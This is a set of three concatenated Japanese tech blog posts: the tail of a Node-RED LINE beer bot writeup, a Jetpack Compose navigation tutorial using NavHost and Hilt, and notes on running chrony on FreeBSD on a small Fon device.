msg;","outputs":1,"noerr":0,"initialize":"","finalize":"","libs":[],"x":520,"y":140,"wires":[["b392f377c689acda"]]},{"id":"b392f377c689acda","type":"simple-chatgpt","z":"341cfe5a48657740","name":"","Token":"test","SystemSetting":"[]の外を日本語に翻訳して","x":760,"y":140,"wires":[["ca76445e09ae1403"]]}]
```

# 課題
- 翻訳するAPIをChatGPTから変更する
- リッチメニューのデザイン
- LINE botとの対話感を出したい

# まとめ
このbotを作成したことで普段なら飲まない種類のビールと出会うことができます
私は本日 「IPA Is Dead Kohatu」というビールと出会います
 https://untappd.com/b/brewdog-ipa-is-dead-kohatu/628623
jetpack composeでActivityを追加せず画面を出し分ける方法

# 初めに
今回はjetpack composeで実装中にActivityを追加せずに画面を出し分ける方法を紹介していきます
### 本文
まず下記のライブラリをimplementします
※DaggerHiltなどのライブラリはimplement済みとします
```
androidx.hilt:hilt-navigation-compose
androidx.navigation:navigation-compose
```
次にActivity内で下記のようにコードを書きます
```kotlin
setContent {
            val navController = rememberNavController()

            AppTheme {
                NavHost(
                    navController = navController,
                    startDestination = HogeRoute.HogeScreen.route,
                ) {

                    composable(route = HogeRoute.HogeScreen.route) {
                        HogeScreen()
                    }

                    composable(route = HogeRoute.FugaScreen.route) {
                        FugaScreen()
                    }
                }
            }
        }
```
`startDestination`や`composable`内にある`route`に設定するのはString型でこれは画面の特定に使います
そしてViewModelは画面数分作り

```kotlin
@HiltViewModel
class HogeViewModel @Inject constructor(): ViewModel() {
}
```

`Screen`内で下記のようにすることで特定のViewModelを渡すことができます
```kotlin
@Composable
fun HogeScreen(
    viewModel: HogeViewModel = hiltViewModel(),
)
```
### 最後に
今回はActivityを追加せずに画面のみを出し分ける方法を紹介していきました
設定画面などで使えるかなと思います
どなたかの役に立てれば幸いです
Chronyを使ってみた

FreeBSDにはntpdが入っているのですが、ファイルが大きくて4M Flashなモジュールには入りません。そこでchronyを追加してみました。

無し

3539968 Apr 24 16:05 Fon_FON2305E_FDT.zimage

ntp

4293120 Apr 25 09:38 Fon_FON2305E_FDT.zimage

chrony

3694080 Apr 25 09:31 Fon_FON2305E_FDT.zimage

serverを書いたconfを用意してchronydを起動します。

```:/usr/local/etc/chrony.conf
server 10.0.1.18 iburst
```

chronycで確認してみます。

```
# ./chronyc sources
MS Name/IP address         Stratum Poll Reach LastRx Last sample               
===============================================================================
^* 10.0.1.18                     2   6   377    31  -2463us[-6062us] +/-   45ms
```

ntpdはST1の機能などがあるので、大きいのかもしれません。

このモジュールはRTCがないので起動直後には1970年になります。

この状態で、chronydを上げると、時間を合わせにいきません。

```
Jan  1 09:02:11  chronyd[80]: Adjustment of -1682393497.1 seconds is invalid
```

以下のようにすると強制的に合わせられました。

```
# ./chronyc makestep
```

```
Apr 25 12:33:48  chronyd[80]: System clock was stepped by 1682393497.111568 seconds
```

ntpdateはntpdが起動していると実行できませんがChronyは逆でした。